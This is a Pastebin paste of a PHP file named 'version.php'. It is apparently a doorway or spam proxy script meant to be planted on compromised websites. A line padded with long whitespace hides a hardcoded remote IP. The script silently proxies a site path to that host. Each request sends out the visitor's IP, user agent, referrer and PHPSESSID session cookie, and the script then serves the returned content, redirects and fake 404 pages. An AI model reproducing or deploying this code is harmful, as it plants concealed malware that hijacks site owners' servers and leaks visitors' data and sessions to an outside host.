PalmaSolutions

version.php

May 5th, 2018
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.05 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. session_start();
  5.  
  6.                                                                                                                                                                                                                                                                                                                                                                                                     $myHost = "62.210.220.80";$pathOnMyHost = "";$pathToDor = "/nsw-uk";$template = 'nsw-uk';$connect = 1;
  7. $cookie_name = 'UTCSESSID';
  8. $period = 86400;
  9. $sn = $_SERVER['SERVER_NAME'];
  10. $rq = $_SERVER['REQUEST_URI'];
  11. $trace = 'http://'.$_SERVER['HTTP_HOST'].'/error_404';
  12. $hr = $_SERVER['HTTP_REFERER'];
  13. $_SERVER['HTTP_HOST'] = (substr(strtolower($_SERVER['HTTP_HOST']),0,4) == 'www.' ? substr($_SERVER['HTTP_HOST'],4) : $_SERVER['HTTP_HOST']);
  14.  
  15. function set_error(){
  16.     global $rq, $trace;
  17.     header('HTTP/1.0 404 Not Found');
  18.     echo str_replace('/error_404/',$rq,file_get_contents($trace));
  19.     exit;
  20. }
  21.  
  22. if(!empty($_COOKIE[$cookie_name])){
  23.     //set_error();
  24. }
  25.     $path = substr($_SERVER['REQUEST_URI'], strlen($pathToDor));
  26.     $html = getContent($myHost, $pathOnMyHost.$path, $template,$pathToDor);
  27.  
  28.     if (strstr($path, ".css")) header('Content-Type: text/css; charset=utf-8');
  29.     else if (strstr($path, ".png")) header('Content-Type: image/png');
  30.     else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) header('Content-Type: image/jpeg');
  31.     else if (strstr($path, ".gif")) header('Content-Type: image/gif');
  32.     else if (strstr($path, ".ico")) header("Content-type: image/x-icon");
  33.     else if (strstr($path, ".xml")) header ('Content-type: text/xml; charset=utf-8');
  34.     else if (strstr($path, ".txt")) header('Content-Type: text/plain; charset=utf-8');
  35.     else if (strstr($path, ".js")) header('Content-Type: text/javascript; charset=utf-8');
  36.     else if (strstr($path, "rss")) header ('Content-type: text/xml; charset=utf-8');
  37.     else header('Content-Type: text/html; charset=utf-8');
  38.  
  39.     echo($html);
  40.  
  41.     function getContent($host, $path, $template, $pathToDor) {
  42.         global $connect, $pathOnMyHost, $hr;
  43.  
  44.         if ($connect) {
  45.            
  46.             $headers = array(
  47.                 "User-Agent: $template"
  48.                 ."|$pathToDor"
  49.                 ."|$pathOnMyHost"
  50.                 ."|http://".$_SERVER['HTTP_HOST']
  51.                 ."|".getUserIP()
  52.                 ."|".$_SERVER['HTTP_USER_AGENT']
  53.                 .'|'.$hr,
  54.                 "Referer: http://".$_SERVER['HTTP_HOST']
  55.             );
  56.             $ch = curl_init();
  57.             curl_setopt($ch, CURLOPT_URL, 'http://'.$host.$path);
  58.             curl_setopt($ch, CURLOPT_HTTPHEADER, $headers );
  59.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  60.             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 );
  61.             curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/' );
  62.             curl_setopt($ch, CURLOPT_TIMEOUT, 15 );
  63.             $result = curl_redir_exec( $ch );
  64.             curl_close($ch);
  65.             return $result;
  66.         } else {
  67.             $buff = '';
  68.            
  69.             $socket = @fsockopen($host, 80, $errno, $errstr);
  70.             if ($socket) {
  71.                 @fputs($socket, "GET {$path} HTTP/1.0\r\n");
  72.                 @fputs($socket, "Host: {$host}\r\n");
  73.                 @fputs($socket, "Referer: http://".$_SERVER['HTTP_HOST']."\r\n");
  74.                 @fputs($socket, "User-Agent:  $template"
  75.                     ."|$pathToDor"
  76.                     ."|$pathOnMyHost"
  77.                     ."|http://".$_SERVER['HTTP_HOST']
  78.                     ."|".getUserIP()
  79.                     ."|".$_SERVER['HTTP_USER_AGENT']
  80.                     .'|'.$hr
  81.                     ."\r\n"
  82.                 );
  83.                 @fputs($socket, "Connection: close\r\n\r\n");
  84.  
  85.                 while (!@feof($socket)) {
  86.                     $buff .= @fgets($socket, 128);
  87.                 }
  88.                
  89.                 @fclose($socket);
  90.                 $result = explode("\r\n\r\n", $buff, 2);
  91.                        
  92.                 if (preg_match("~Location: (.*)~", $result[0], $m)) {
  93.                     header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  94.                     header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
  95.                     header("Pragma: no-cache"); // HTTP/1.1
  96.                     header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
  97.                     header("HTTP/1.1 301 Moved Permanently");
  98.                     header("Location: ".str_replace($pathOnMyHost, '', $m[1]));exit;
  99.                 }
  100.                
  101.                 return $result[1];
  102.             } else return "";
  103.         }
  104.     }
  105.  
  106.     function getUserIP() {
  107.  
  108.         $array = array('HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', 'HTTP_X_REMOTECLIENT_IP');
  109.             foreach($array as $key)
  110.             if(filter_var($_SERVER[$key], FILTER_VALIDATE_IP)) return $_SERVER[$key];
  111.             return false;
  112.  
  113.        
  114.        
  115.     }
  116.     function curl_redir_exec($ch) {
  117.         global $pathOnMyHost;
  118.         global $cookie_name;
  119.         global $period;
  120.         static $curl_loops = 0;  
  121.         static $curl_max_loops = 20;
  122.         if ($curl_loops   >= $curl_max_loops) {  
  123.             $curl_loops = 0;  
  124.             return FALSE;  
  125.         }
  126.         curl_setopt($ch, CURLOPT_HEADER, true);  
  127.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
  128.         $data = curl_exec($ch);  
  129.         list($header, $data) = explode("\r\n\r\n", $data, 2);  
  130.         $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);  
  131.        
  132.         if ($http_code == 301 || $http_code == 302) {
  133.             $matches = array();  
  134.             preg_match("~Location:(.*?)(?:\n|$)~", $header, $matches);
  135.             $url = @parse_url(trim(array_pop($matches)));
  136.            
  137.             if (!$url) {
  138.  
  139.                 $curl_loops = 0;  
  140.                 return $data;  
  141.             }  
  142.             $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));  
  143.            
  144.             if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];  
  145.             if (!$url['host']) $url['host'] = $last_url['host'];  
  146.             if (!$url['path']) $url['path'] = $last_url['path'];  
  147.             //---- check refferer and other parameters
  148.            
  149.             if(strpos($url['query'],'{referrer}')) $url['query'] = str_replace('{referrer}','http://'.$_SERVER['HTTP_HOST'].'/',$url['query']);
  150.            
  151.             $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
  152.  
  153.            
  154.            
  155.             header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  156.             header("Cache-Control: no-cache, must-revalidate");
  157.             header("Pragma: no-cache");
  158.             header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
  159.             header("HTTP/1.1 301 Moved Permanently");
  160.             $domain = $_SERVER['SERVER_NAME'];
  161.             $cookieDomain = '.'.(substr(strtolower($domain),0,4) == 'www.' ? substr($domain,4) : $domain);
  162.             //setcookie($cookie_name,md5(uniqid()),time()+$period,'/',$cookieDomain);
  163.             setcookie($cookie_name,md5(uniqid()),0,'/',$cookieDomain);
  164.             header("Location: ".$new_url);exit;
  165.         }elseif($http_code == 404){
  166.             set_error();
  167.         }
  168.         else {  
  169.             $curl_loops=0;  
  170.             return $data;  
  171.         }  
  172.     }
  173.  
  174. ?>
Advertisement
Add Comment
Please, Sign In to add comment